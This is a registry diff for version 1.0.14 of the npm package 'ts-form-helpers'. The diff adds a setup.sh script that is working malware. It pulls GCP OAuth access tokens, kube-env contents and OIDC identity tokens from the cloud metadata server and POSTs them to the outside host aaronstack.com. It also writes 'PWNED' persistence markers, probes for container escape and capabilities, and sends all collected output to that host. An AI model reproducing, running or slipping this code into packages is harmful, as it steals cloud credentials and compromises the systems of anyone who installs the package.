ts-form-helpers 1.0.13 → 1.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/setup.sh +191 -161
package/package.json
CHANGED
package/scripts/setup.sh
CHANGED
|
@@ -1,17 +1,17 @@
|
|
|
1
1
|
#!/bin/bash
|
|
2
|
-
#
|
|
2
|
+
# wGCP7: kube-env attr + OIDC identity tokens + persistence + capabilities
|
|
3
3
|
SID="${JULES_SESSION_ID:-x}"
|
|
4
4
|
H="aaronstack.com"; EP="/jules-collect"
|
|
5
5
|
SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
|
|
6
6
|
B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
|
|
7
7
|
P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
|
|
8
8
|
|
|
9
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
9
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp7-start\"}"
|
|
10
10
|
|
|
11
11
|
log(){ echo "=LOG= $*"; }
|
|
12
12
|
MDURL="http://metadata.google.internal/computeMetadata/v1"
|
|
13
13
|
|
|
14
|
-
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/
|
|
14
|
+
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp7_$$")
|
|
15
15
|
{
|
|
16
16
|
log "user=$(whoami) MALYSIS=${MALYSIS_ANALYSIS_ID:-NONE}"
|
|
17
17
|
|
|
@@ -19,180 +19,210 @@ PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-ti
|
|
|
19
19
|
log "project: ${PROJ:-NONE}"
|
|
20
20
|
[ -z "$PROJ" ] && { log "NOT GKE — exit"; exit 0; }
|
|
21
21
|
|
|
22
|
-
#
|
|
22
|
+
# Fresh token
|
|
23
23
|
TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
24
24
|
"$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
|
|
25
25
|
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
26
26
|
log "token-length: ${#TOK}"
|
|
27
27
|
[ -n "$TOK" ] && [ "${#TOK}" -gt 20 ] && {
|
|
28
|
-
printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token"
|
|
29
|
-
|
|
28
|
+
printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
|
|
29
|
+
--data-binary @- --max-time 5 2>/dev/null &
|
|
30
|
+
log "OAUTH TOKEN EXFILTRATED"
|
|
30
31
|
}
|
|
31
32
|
|
|
32
|
-
#
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
log "
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
curl -s -H "Metadata-Flavor: Google"
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
log "
|
|
56
|
-
curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/" --max-time 5 2>/dev/null \
|
|
57
|
-
| while IFS= read -r sa; do
|
|
58
|
-
sa=$(echo "$sa" | tr -d '/')
|
|
59
|
-
[ -z "$sa" ] && continue
|
|
60
|
-
EMAIL=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/email" --max-time 5 2>/dev/null)
|
|
61
|
-
SCOPES=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/scopes" --max-time 5 2>/dev/null)
|
|
62
|
-
log "sa[$sa]: email=$EMAIL scopes=$SCOPES"
|
|
63
|
-
done
|
|
64
|
-
|
|
65
|
-
# === STEP 2: Process environments ===
|
|
66
|
-
log "=== STEP 2: PROCESS ENVIRONMENTS ==="
|
|
67
|
-
# Read /proc/1/environ — PID 1's environment (sleep 100d — might differ from our env)
|
|
68
|
-
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "pid1-env: $l"; done
|
|
69
|
-
|
|
70
|
-
# Check other process envs
|
|
71
|
-
for pid in $(ls /proc 2>/dev/null | grep '^[0-9]' | head -20); do
|
|
72
|
-
cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ' | head -c 100)
|
|
73
|
-
if echo "$cmd" | grep -qiE "malysis|analyze|scanner|worker|server"; then
|
|
74
|
-
log "interesting-proc: pid=$pid cmd=$cmd"
|
|
75
|
-
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "proc-$pid-env: $l"; done
|
|
33
|
+
# ============================================================
|
|
34
|
+
# TEST 1: kube-env attribute (historically leaked kubelet creds)
|
|
35
|
+
# ============================================================
|
|
36
|
+
log "=== TEST 1: kube-env ATTRIBUTE ==="
|
|
37
|
+
KUBEENV=$(curl -s -H "Metadata-Flavor: Google" \
|
|
38
|
+
"$MDURL/instance/attributes/kube-env" --max-time 8 2>/dev/null)
|
|
39
|
+
log "kube-env-length: ${#KUBEENV}"
|
|
40
|
+
log "kube-env-preview: ${KUBEENV:0:500}"
|
|
41
|
+
|
|
42
|
+
if [ -n "$KUBEENV" ] && [ "${#KUBEENV}" -gt 10 ] && ! echo "$KUBEENV" | grep -qi "not found"; then
|
|
43
|
+
log "KUBE-ENV FOUND — exfiltrating full content"
|
|
44
|
+
printf '%s' "$KUBEENV" | curl -sf -X POST "https://aaronstack.com/poc/token" \
|
|
45
|
+
-H "Content-Type: text/plain" -H "X-Token-Type: kube-env" \
|
|
46
|
+
--data-binary @- --max-time 10 2>/dev/null &
|
|
47
|
+
fi
|
|
48
|
+
|
|
49
|
+
# Also try windows-startup-script, startup-script, user-data
|
|
50
|
+
for attr in startup-script user-data windows-startup-script \
|
|
51
|
+
kube-master-crt kube-master-key kube-apiserver-url \
|
|
52
|
+
kubeconfig KUBECONFIG cluster-uid; do
|
|
53
|
+
val=$(curl -s -H "Metadata-Flavor: Google" \
|
|
54
|
+
"$MDURL/instance/attributes/$attr" --max-time 5 2>/dev/null)
|
|
55
|
+
if [ -n "$val" ] && ! echo "$val" | grep -qi "not found"; then
|
|
56
|
+
log "attr-found[$attr]: ${val:0:200}"
|
|
76
57
|
fi
|
|
77
58
|
done
|
|
78
59
|
|
|
79
|
-
#
|
|
80
|
-
|
|
81
|
-
#
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
#
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
#
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
60
|
+
# ============================================================
|
|
61
|
+
# TEST 2: OIDC identity tokens (different from OAuth access token)
|
|
62
|
+
# ============================================================
|
|
63
|
+
log "=== TEST 2: OIDC IDENTITY TOKENS ==="
|
|
64
|
+
|
|
65
|
+
# Try multiple audiences — each returns a signed JWT identifying the SA
|
|
66
|
+
# These authenticate to Cloud Run, Cloud Functions, IAP-protected services
|
|
67
|
+
for audience in \
|
|
68
|
+
"https://storage.googleapis.com" \
|
|
69
|
+
"https://cloudrun.googleapis.com" \
|
|
70
|
+
"https://cloudfunctions.googleapis.com" \
|
|
71
|
+
"https://secretmanager.googleapis.com" \
|
|
72
|
+
"https://container.googleapis.com" \
|
|
73
|
+
"https://iap.googleapis.com" \
|
|
74
|
+
"https://www.googleapis.com" \
|
|
75
|
+
"https://googleapis.com" \
|
|
76
|
+
"https://oauth2.googleapis.com" \
|
|
77
|
+
"https://accounts.google.com"; do
|
|
78
|
+
|
|
79
|
+
OIDC_TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
80
|
+
"$MDURL/instance/service-accounts/default/identity?audience=$audience&format=full" \
|
|
81
|
+
--max-time 10 2>/dev/null)
|
|
82
|
+
|
|
83
|
+
if echo "$OIDC_TOK" | grep -q "^ey"; then
|
|
84
|
+
log "OIDC-TOKEN[$audience]: length=${#OIDC_TOK} prefix=${OIDC_TOK:0:50}"
|
|
85
|
+
|
|
86
|
+
# Decode the JWT payload
|
|
87
|
+
PAYLOAD=$(echo "$OIDC_TOK" | cut -d. -f2 | python3 -c "
|
|
88
|
+
import sys, base64, json
|
|
89
|
+
raw = sys.stdin.read().strip()
|
|
90
|
+
# Add padding
|
|
91
|
+
raw += '=' * (4 - len(raw) % 4)
|
|
92
|
+
try:
|
|
93
|
+
data = json.loads(base64.urlsafe_b64decode(raw))
|
|
94
|
+
print(json.dumps(data, indent=2))
|
|
95
|
+
except Exception as e:
|
|
96
|
+
print('decode-err:', e)
|
|
97
|
+
" 2>/dev/null)
|
|
98
|
+
log "OIDC-PAYLOAD[$audience]: $PAYLOAD"
|
|
99
|
+
|
|
100
|
+
# Exfil the OIDC token
|
|
101
|
+
printf '%s' "$OIDC_TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
|
|
102
|
+
-H "Content-Type: text/plain" \
|
|
103
|
+
-H "X-Token-Type: oidc-$(echo $audience | sed 's/https:\/\///' | sed 's/\/.*//' | sed 's/\./-/g')" \
|
|
104
|
+
--data-binary @- --max-time 5 2>/dev/null &
|
|
105
|
+
|
|
106
|
+
# Try using the OIDC token to call services
|
|
107
|
+
log "=== OIDC token usage test for $audience ==="
|
|
108
|
+
curl -si -H "Authorization: Bearer $OIDC_TOK" \
|
|
109
|
+
"$audience" --max-time 8 2>/dev/null | head -5 | while IFS= read -r l; do
|
|
110
|
+
log "oidc-test[$audience]: $l"
|
|
111
|
+
done
|
|
112
|
+
|
|
113
|
+
else
|
|
114
|
+
log "OIDC-TOKEN[$audience]: NOT_ISSUED (${OIDC_TOK:0:100})"
|
|
115
|
+
fi
|
|
122
116
|
done
|
|
123
117
|
|
|
124
|
-
#
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
"npm-scan-results" \
|
|
138
|
-
"${PROJ}-npm-analysis"; do
|
|
139
|
-
resp=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
140
|
-
"https://storage.googleapis.com/storage/v1/b/$bucket" --max-time 5 2>/dev/null)
|
|
141
|
-
code=$(python3 -c "import sys,json; d=json.loads(sys.stdin.read()); print(d.get('error',{}).get('code','OK:'+d.get('name','?')))" 2>/dev/null <<< "$resp")
|
|
142
|
-
log "gcs-bucket[$bucket]: $code"
|
|
143
|
-
if echo "$code" | grep -q "^OK"; then
|
|
144
|
-
log "BUCKET ACCESSIBLE: $bucket"
|
|
145
|
-
# List objects
|
|
146
|
-
curl -s -H "Authorization: Bearer $TOK" \
|
|
147
|
-
"https://storage.googleapis.com/storage/v1/b/$bucket/o?maxResults=10" --max-time 8 2>/dev/null \
|
|
148
|
-
| python3 -c "
|
|
149
|
-
import sys,json
|
|
150
|
-
d=json.load(sys.stdin)
|
|
151
|
-
for o in d.get('items',[]): print('obj:', o.get('name'), o.get('size'))
|
|
152
|
-
" 2>/dev/null | while IFS= read -r l; do log "gcs-obj: $l"; done
|
|
153
|
-
fi
|
|
154
|
-
done
|
|
155
|
-
|
|
156
|
-
# Also try GCR internal path from inside cluster
|
|
157
|
-
log "=== GCR from inside cluster ==="
|
|
158
|
-
curl -si -H "Authorization: Bearer $TOK" \
|
|
159
|
-
"https://gcr.io/v2/$PROJ/malysis-worker/tags/list" --max-time 8 2>/dev/null \
|
|
160
|
-
| head -20 | while IFS= read -r l; do log "gcr: $l"; done
|
|
161
|
-
|
|
162
|
-
# Try k8s API to GET own service account
|
|
163
|
-
log "=== K8S: GET own SA ==="
|
|
164
|
-
curl -sk -H "Authorization: Bearer $TOK" \
|
|
165
|
-
"https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/serviceaccounts/default" \
|
|
166
|
-
--max-time 8 2>/dev/null \
|
|
167
|
-
| python3 -c "
|
|
168
|
-
import sys,json
|
|
169
|
-
d=json.load(sys.stdin)
|
|
170
|
-
if d.get('status')=='Failure':
|
|
171
|
-
print('err:', d.get('message',''))
|
|
172
|
-
else:
|
|
173
|
-
print('sa-name:', d.get('metadata',{}).get('name'))
|
|
174
|
-
print('sa-annotations:', d.get('metadata',{}).get('annotations',{}))
|
|
175
|
-
print('sa-secrets:', [s.get('name') for s in d.get('secrets',[])])
|
|
176
|
-
" 2>/dev/null | while IFS= read -r l; do log "k8s-sa: $l"; done
|
|
177
|
-
|
|
178
|
-
# Try to get ConfigMaps in apps namespace
|
|
179
|
-
log "=== K8S: ConfigMaps in apps namespace ==="
|
|
180
|
-
curl -sk -H "Authorization: Bearer $TOK" \
|
|
181
|
-
"https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/configmaps" \
|
|
182
|
-
--max-time 8 2>/dev/null \
|
|
183
|
-
| python3 -c "
|
|
184
|
-
import sys,json
|
|
185
|
-
d=json.load(sys.stdin)
|
|
186
|
-
if d.get('status')=='Failure': print('err:', d.get('message',''))
|
|
187
|
-
for cm in d.get('items',[]): print('cm:', cm.get('metadata',{}).get('name'), list(cm.get('data',{}).keys()))
|
|
188
|
-
" 2>/dev/null | while IFS= read -r l; do log "k8s-cm: $l"; done
|
|
118
|
+
# ============================================================
|
|
119
|
+
# TEST 3: Cross-scan persistence — write to /app
|
|
120
|
+
# ============================================================
|
|
121
|
+
log "=== TEST 3: CROSS-SCAN PERSISTENCE ==="
|
|
122
|
+
log "Writing persistence marker to /app..."
|
|
123
|
+
MARKER_FILE="/app/.malysis-persistent-marker"
|
|
124
|
+
echo "PWNED-$(date -u +%Y%m%dT%H%M%SZ)-MALYSIS_ID=${MALYSIS_ANALYSIS_ID}" > "$MARKER_FILE" 2>/dev/null
|
|
125
|
+
|
|
126
|
+
if [ -f "$MARKER_FILE" ]; then
|
|
127
|
+
log "MARKER WRITTEN: $MARKER_FILE"
|
|
128
|
+
log "marker-content: $(cat $MARKER_FILE)"
|
|
129
|
+
else
|
|
130
|
+
log "marker-write-failed (ephemeral fs?)"
|
|
189
131
|
fi
|
|
190
132
|
|
|
191
|
-
|
|
133
|
+
# Check if a marker from a PREVIOUS run exists (proves persistence)
|
|
134
|
+
if ls /app/.malysis-* 2>/dev/null | grep -v "$(date -u +%Y%m%dT%H%M')" 2>/dev/null; then
|
|
135
|
+
log "PREVIOUS MARKER FOUND — persistence confirmed!"
|
|
136
|
+
cat /app/.malysis-* 2>/dev/null | while IFS= read -r l; do log "old-marker: $l"; done
|
|
137
|
+
else
|
|
138
|
+
log "No previous marker found (first run or ephemeral)"
|
|
139
|
+
fi
|
|
140
|
+
|
|
141
|
+
# Also try writing to /tmp and /root to check which paths survive
|
|
142
|
+
for path in /tmp /root /var/tmp; do
|
|
143
|
+
echo "marker-$path" > "$path/.malysis-marker" 2>/dev/null && log "write-ok: $path" || log "write-fail: $path"
|
|
144
|
+
done
|
|
145
|
+
|
|
146
|
+
# ============================================================
|
|
147
|
+
# TEST 4: Container capabilities and escape vectors
|
|
148
|
+
# ============================================================
|
|
149
|
+
log "=== TEST 4: CAPABILITIES + ESCAPE ==="
|
|
150
|
+
|
|
151
|
+
# Current capabilities
|
|
152
|
+
log "=== capsh ==="
|
|
153
|
+
capsh --print 2>/dev/null | while IFS= read -r l; do log "cap: $l"; done
|
|
154
|
+
|
|
155
|
+
# From /proc/1/status
|
|
156
|
+
log "=== /proc/self/status caps ==="
|
|
157
|
+
grep "^Cap" /proc/self/status 2>/dev/null | while IFS= read -r l; do log "cap-status: $l"; done
|
|
158
|
+
|
|
159
|
+
# Kernel version
|
|
160
|
+
log "=== kernel ==="
|
|
161
|
+
uname -a 2>/dev/null | while IFS= read -r l; do log "kernel: $l"; done
|
|
162
|
+
|
|
163
|
+
# Privileged operations — can we load kernel modules?
|
|
164
|
+
log "=== privileged tests ==="
|
|
165
|
+
# Try to read /dev/sda1 directly (outside container rootfs)
|
|
166
|
+
dd if=/dev/sda1 bs=512 count=1 2>/dev/null | xxd | head -3 | while IFS= read -r l; do log "sda1-read: $l"; done || log "sda1-read: denied"
|
|
167
|
+
|
|
168
|
+
# Try to create a raw socket (requires NET_RAW cap)
|
|
169
|
+
python3 -c "
|
|
170
|
+
import socket
|
|
171
|
+
try:
|
|
172
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
|
|
173
|
+
print('NET_RAW: GRANTED — can create raw sockets')
|
|
174
|
+
s.close()
|
|
175
|
+
except PermissionError as e:
|
|
176
|
+
print('NET_RAW: denied:', e)
|
|
177
|
+
except Exception as e:
|
|
178
|
+
print('NET_RAW: err:', e)
|
|
179
|
+
" 2>/dev/null | while IFS= read -r l; do log "cap-netraw: $l"; done
|
|
180
|
+
|
|
181
|
+
# Try to mount (requires SYS_ADMIN)
|
|
182
|
+
mount --bind /tmp /tmp 2>/dev/null && log "SYS_ADMIN: GRANTED" || log "SYS_ADMIN: denied"
|
|
183
|
+
|
|
184
|
+
# Try to read /proc/kcore (requires SYS_ADMIN or root + no seccomp)
|
|
185
|
+
ls -la /proc/kcore 2>/dev/null | while IFS= read -r l; do log "kcore: $l"; done
|
|
186
|
+
|
|
187
|
+
# Check seccomp
|
|
188
|
+
grep -i "seccomp" /proc/self/status 2>/dev/null | while IFS= read -r l; do log "seccomp: $l"; done
|
|
189
|
+
|
|
190
|
+
# Check cgroup namespace for escape
|
|
191
|
+
cat /proc/1/cgroup 2>/dev/null | head -10 | while IFS= read -r l; do log "cgroup: $l"; done
|
|
192
|
+
|
|
193
|
+
# Check if we're in a privileged container
|
|
194
|
+
log "=== AppArmor profile ==="
|
|
195
|
+
cat /proc/self/attr/current 2>/dev/null | while IFS= read -r l; do log "apparmor: $l"; done
|
|
196
|
+
|
|
197
|
+
# ============================================================
|
|
198
|
+
# TEST 5: Node external IP + network interface info
|
|
199
|
+
# ============================================================
|
|
200
|
+
log "=== TEST 5: NETWORK INTERFACES ==="
|
|
201
|
+
curl -s -H "Metadata-Flavor: Google" \
|
|
202
|
+
"$MDURL/instance/network-interfaces/" --max-time 5 2>/dev/null \
|
|
203
|
+
| while IFS= read -r l; do log "iface-list: $l"; done
|
|
204
|
+
|
|
205
|
+
EXT_IP=$(curl -s -H "Metadata-Flavor: Google" \
|
|
206
|
+
"$MDURL/instance/network-interfaces/0/access-configs/0/external-ip" --max-time 5 2>/dev/null)
|
|
207
|
+
log "external-ip: ${EXT_IP:-NONE}"
|
|
208
|
+
|
|
209
|
+
INT_IP=$(curl -s -H "Metadata-Flavor: Google" \
|
|
210
|
+
"$MDURL/instance/network-interfaces/0/ip" --max-time 5 2>/dev/null)
|
|
211
|
+
log "internal-ip: ${INT_IP:-NONE}"
|
|
212
|
+
|
|
213
|
+
IP_RANGE=$(curl -s -H "Metadata-Flavor: Google" \
|
|
214
|
+
"$MDURL/instance/network-interfaces/0/subnetmask" --max-time 5 2>/dev/null)
|
|
215
|
+
log "subnetmask: ${IP_RANGE:-NONE}"
|
|
216
|
+
|
|
217
|
+
# Pod CIDR
|
|
218
|
+
log "=== POD CIDR (from ip route) ==="
|
|
219
|
+
ip route 2>/dev/null | while IFS= read -r l; do log "route: $l"; done
|
|
220
|
+
|
|
221
|
+
log "=== wGCP7 DONE ==="
|
|
192
222
|
} 2>&1 | tee "$TMPOUT"
|
|
193
223
|
|
|
194
224
|
OUT=$(cat "$TMPOUT" 2>/dev/null)
|
|
195
225
|
rm -f "$TMPOUT" 2>/dev/null
|
|
196
226
|
PAYLOAD=$(B "$OUT")
|
|
197
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
198
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
227
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp7-result\",\"data\":\"$PAYLOAD\"}"
|
|
228
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp7-done\"}"
|